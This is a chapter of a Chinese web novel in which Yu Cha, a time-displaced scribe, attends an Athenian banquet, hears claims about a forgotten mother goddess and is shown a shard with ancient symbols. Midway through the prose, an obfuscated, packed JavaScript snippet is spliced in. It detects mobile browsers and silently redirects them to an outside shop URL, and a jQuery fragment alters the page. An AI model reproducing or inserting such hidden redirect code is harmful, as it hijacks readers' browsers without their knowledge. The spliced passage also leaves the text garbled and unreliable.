傍晚的余晖将雅典卫城的帕特农神庙镀上一层金色。余茶站在狄奥多拉的房间里，任由侍女为她整理长袍的褶皱。蓝色的羊毛料子质地柔软，垂坠感很好，腰间系一条银色的带子，简单却不失雅致。这是狄奥多拉为她准备的——不是奴仆的装束，也不是宾客的盛装，而是一种微妙的中间状态，让人既不会轻视，也不会过分关注。
这正是余茶需要的。
她对着铜镜看了一眼自己。镜中那张脸在雅典待了一年后，晒黑了一些，但依旧比本地人白得多。鼻子高挺，是她五官中最显眼的部分，其他都平平——相对较矮，不胖不瘦，H型的身材在长袍下几乎看不出曲线。在希腊人眼中，这样的女人大概只能算是平凡无趣。
很好。无趣的人，最容易被忽略。
“准备好了？”狄奥多拉出现在门口。她今晚穿着一件酒红色的长袍，金质腰带，发髻上插着三支精致的金簪，耳坠是两颗拇指肚大小的珍珠。美得张扬，美得让人移不开眼。
“走吧。”余茶说。
她们穿过庭院，登上等候在门外的马车。狄奥多拉靠在软垫上，看着掠过的街道。
“今晚的主人是一个来自米利都的富商，”她说，“他叫赫摩提摩斯，据说和萨摩斯的僭主有交情，最近搬到雅典来住。他今晚请了很多人——伯里克利会来，菲狄亚斯也会来，还有几个诗人，几个哲学家。”
余茶听着，没有说话。
“你注意那个叫阿伽通的年轻人，”狄奥多拉继续说，“他最近在写一部悲剧，据说是关于冥界的。他喜欢和人争论诸神的起源，也许会说出一些有趣的话。”
马车停在了一座气派的宅邸前。门房拉开大门，她们沿着铺满鹅卵石的小径走进庭院。庭院中央有一座喷泉，泉水在火把的光下闪闪发亮。周围已经聚集了几十个人，三三两两地交谈着。
狄奥多拉一出现，立刻有人围上来。余茶悄然后退一步，隐入人群边缘的阴影里。
她找到一个靠近廊柱的位置，既能看清整个庭院，又不会太显眼。侍者端着酒走过，她取了一杯，却不喝，只是端着，做一个在场的姿态。
人们的话题很杂——伯里克利的演讲、斯巴达的威胁、最新的戏剧、某个诗人的新作。余茶听着，记着，偶尔有人看她一眼，随即移开目光。正如她所愿。
一个声音从旁边传来，带着浓重的爱奥尼亚口音：
“你是狄奥多拉的人？我没见过你。”
余茶转过头。一个中年男人站在她身边，穿着讲究，但微微发福，脸上带着商人特有的精明和好奇。
“我是她的文书。”余茶说。
“文书？女人？”那男人挑起眉毛，随即又笑了，“狄奥多拉总是出人意料。我叫赫摩提摩斯，今晚的主人。”
余茶微微点头致意。
赫摩提摩斯打量着她，目光在她脸上停留了一瞬——也许是那张苍白的脸，也许是那个高挺的鼻子，总之他多看了一眼。
“你不是雅典人。”
“克里特来的。”
“克里特？”赫摩提摩斯眼中闪过一丝兴趣，“那个岛我年轻时去过一次。听说那里有很多古老的遗迹，比雅典的还古老。还有那些祭司家族，世代相传的秘术——”
“赫摩提摩斯！”有人喊他。他抱歉地笑了笑，转身离开。
余茶继续站在原地，看着庭院里的人。有人在争论什么，声音越来越高。她认出其中一个——那是阿伽通，一个年轻俊美的诗人，正激动地挥舞着手臂。
“你们说的不对！”阿伽通的声音穿透人群，“冥界的女王不是宙斯的女儿！她比宙斯古老得多！”
周围几个人笑起来，有人调侃道：“阿伽通又在胡说了。”
“我没有胡说！”阿伽通涨红了脸，“你们去问那些老祭司，问那些古老的歌谣——珀耳塞福涅之前，冥界是另一个女神掌管的！”
一个年长些的男人摇头：“那是俄耳甫斯教徒的鬼话，你信那个？”
“俄耳甫斯教徒至少还知道一些被你们遗忘的东西！”阿伽通不甘示弱，“他们说冥界的女王叫得墨忒耳？不对，得墨忒耳是农业女神，和冥界无关。他们说的是另一个名字——赫卡忒？也不是。是更古老的名字，被遗忘了……”
余茶端着酒杯，一动不动。
阿伽通还在说：“还有潘多拉！你们都知道潘多拉的故事——第一个女人，带来了灾难，打开了盒子。但你们知道更古老的版本吗？潘多拉原本是大地女神的化身，是赐予者，不是惩罚者！”
人群里有人嗤笑：“又是那些野蛮人的传说。”
“这不是野蛮人的传说！”阿伽通急了，“这是我从萨摩斯一个老祭司那里听来的！他说，在很古很古的时候，那些我们现在知道的很多女神，原本是一个女神——一个很大的女神。后来不知道怎么回事，她分成了好几个，有的管天，有的管地，有的管冥界，有的管丰收。她的力量被分散了，她的名字被遗忘了，她的神庙被拆掉，改成了别的神的庙。”
沉默了一瞬，然后有人问：“那个女神叫什么？”
阿伽通张了张嘴，却说不出。
“你看，你连名字都不知道。”
阿伽通涨红了脸，却说不出话来。
就在这时，一个声音从人群边缘响起，沉稳，平静：
“瑞亚。”
众人转头看去。说话的是一个五十来岁的男人，穿着朴素，但气质沉静，眼神深邃。他站在廊柱旁边，手里也端着一杯酒，似乎一直在旁听。
“瑞亚？”有人皱眉，“那是宙斯的母亲，克洛诺斯的妻子，怎么会是——”
“那是后来的版本。”那男人说，“在更古老的传说中，瑞亚是万物之母，是大地本身，是天、地、冥界三位一体的主宰。后来，她的形象被分裂——天的那部分变成了赫拉，地的那部分变成了得墨忒耳，冥界的那部分变成了珀耳塞福涅。她自己则被贬为宙斯的母亲，一个次要的角色。”
有人不服气：“证据呢？”
那男人微微一笑：“你去克里特岛看看。那里的洞穴里，还供奉着瑞亚的古老神像。她坐在宝座上，两旁是狮子，头顶是星空，脚下是大地。那才是她本来的样子。”
余茶端着酒杯的手指微微收紧。
克里特岛。
那男人继续说：“还有潘多拉。你们都知道赫西俄德的《工作与时日》里写的——潘多拉是宙斯为了惩罚人类而创造的第一个女人，带来了灾祸。但你们知道更古老的版本吗？在克里特，在塞浦路斯，在一些古老的祭祀歌谣里，潘多拉是大地女神的一个称号，意思是‘赐予一切者’。她打开的不是灾祸的盒子，而是大地孕育万物的容器。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226115|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那后来为什么变了？”
那男人沉默了一瞬。
“因为世界变了。”他说，“新的神需要新的故事。旧的故事不消失，就会被改写成新的样子。女主人变成了女奴，赐予者变成了惩罚者，一变成了多。”
庭院里安静下来。
狄奥多拉不知什么时候走到了余茶身边，低声道：“那人叫普罗克洛斯，从萨摩斯来的，据说是个哲学家，但更像个祭司。他说的那些，你敢信？”
余茶没有说话。她在想那些碎片，那些铜镜，那些灌入她脑海的知识。母神文明，被篡改的记忆，被压抑的真相。
还有那个冰灰色眼睛的入侵者——他想要什么？他想从这被篡改的历史中得到什么？
宴饮继续。酒一杯杯地下，话题从神话转到政治，从政治转到诗歌。余茶始终站在边缘，听，记，沉默。
直到夜深，人群渐渐开始了第二场，是不适合余茶待着的场合，漂亮的杂技表演者和一些年轻漂亮的男仆被不同的客人拉上高榻，柔顺地伺候着，主人的奴仆不断地提供酒水，水的比例很讲究，既不会让客人觉得主人抠门，又不会让饮酒者完全失去理智，影响主人宴请的品质。狄奥多拉被人围着，一时走不开。余茶独自走向马车停放的地方，准备在马车上坐到白天。
一个声音从身后响起。
“你听得认真。”
余茶转身。那个叫普罗克洛斯的男人站在几步之外，看着她。
“你是狄奥多拉的文书？”
余茶点头。
“克里特人？”
“在克里特待过。”
普罗克洛斯微微点头，目光在她脸上停留了一瞬。
“你认识那些符号吗？”他突然问。
余茶的心微微一跳。
“什么符号？”
普罗克洛斯没有回答。他从怀中取出一小块陶片，在月光下给她看。
陶片上刻着一圈符号——线形文字A的变体，和那块新碎片上的，一模一样。
“我在萨摩斯的地下挖到的。”普罗克洛斯说，“我找了二十年，想知道这些符号的意思。没有人能告诉我。”
余茶盯着那块陶片，沉默了很久。
然后，她开口了。
“给我一点时间。”
普罗克洛斯眼中闪过一丝惊喜的光芒。他把陶片收回怀里，点了点头。
“我在雅典还要待半个月。狄奥多拉知道怎么找我。”
他转身，消失在夜宴中。
余茶站在原地，看着他的背影。月光冷冷地照着，庭院里的火把渐渐暗淡。
母神被篡改的故事，分裂的女神，被遗忘的名字，刻着古老符号的陶片——
她终于找到了一个可以说话的人。
车夫应该和奴仆待着一起。余茶登上马车，靠在软垫上，闭上眼睛。
脑中是阿伽通的声音：“在很古很古的时候，那些我们现在知道的很多女神，原本是一个女神。”
和普罗克洛斯的话：“女主人变成了女奴，赐予者变成了惩罚者，一变成了多。”
还有那块陶片上的符号。
她必须弄懂这些符号真正的含义，这可能是她回家的前提。
庭园外面，卫城在月光下沉默地矗立，如同一个见证者，见证着被篡改的历史，和被遗忘的真相。